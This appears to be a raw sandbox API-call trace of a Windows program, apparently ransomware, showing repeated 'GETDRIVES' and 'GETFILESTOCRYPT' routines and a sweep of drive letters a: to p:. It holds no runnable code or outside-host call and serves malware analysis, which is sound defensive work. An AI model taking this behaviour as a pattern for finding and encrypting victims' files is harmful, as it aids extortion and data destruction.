CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.249] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.249] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.249] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.249] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.249] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.249] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.249] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.249] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.250] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.250] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.250] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.250] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.250] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.250] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.250] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.250] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.250] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.250] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.250] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.250] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.251] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.251] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.251] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.251] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.251] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.251] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.251] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.251] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.251] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.251] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.251] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.251] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.252] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.252] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.252] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.253] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.253] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.253] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.253] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.253] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.253] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.253] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.253] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.253] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.253] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.254] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.254] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.254] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.254] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.254] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.254] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.254] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.254] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.254] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.254] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.254] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.254] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.255] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.255] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.255] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.255] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.255] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.255] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.255] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.255] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.255] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.255] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.255] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.255] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.255] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.256] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.256] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.256] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.257] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.257] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.257] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.257] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.257] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.257] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.257] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.257] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.257] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.257] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.257] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.258] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.258] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.258] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.258] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.258] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.259] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.259] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.259] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.259] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.259] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.259] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.259] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.259] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.259] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.259] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.259] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.259] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.260] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.260] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.260] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.260] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.260] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.260] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.260] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.260] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.260] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.260] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.260] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.261] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.261] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.261] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.261] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.261] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.262] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.262] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.262] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.262] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.262] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.262] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.262] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.262] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.262] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.262] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.262] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.262] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.263] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.263] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.263] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.263] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.263] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.263] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.263] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.263] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.263] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.263] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.263] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.263] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.263] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.264] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.264] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.264] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.264] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.264] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.264] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.264] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.264] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.265] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.265] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.265] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.265] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.265] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.265] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.265] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.265] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.265] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.972] TranslateMessage (lpMsg=0x130f204) returned 0 [0088.972] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0088.973] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0088.976] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0088.976] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.976] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.976] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.976] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.976] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.977] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.977] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.977] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.977] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.977] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.977] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.978] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.978] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.978] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.978] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0088.978] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0088.978] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0088.978] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0088.978] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0088.978] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0088.979] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0088.979] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0088.979] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0088.979] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0088.979] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0088.979] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0088.979] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0088.980] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0088.980] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0088.980] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0088.980] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0088.980] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0088.980] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0088.980] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0088.980] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0088.981] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0088.981] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0088.981] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0088.981] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0088.981] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0088.981] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.981] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.981] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.982] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.982] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.982] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.982] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.982] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.982] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.982] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.982] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.982] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.982] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.982] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.982] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.982] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.983] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.983] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.983] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0088.983] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0088.983] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0088.983] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0088.983] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0088.983] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0088.983] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0088.984] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0088.984] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0088.984] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0088.984] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0088.984] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0088.984] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0088.984] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0088.985] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0088.985] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 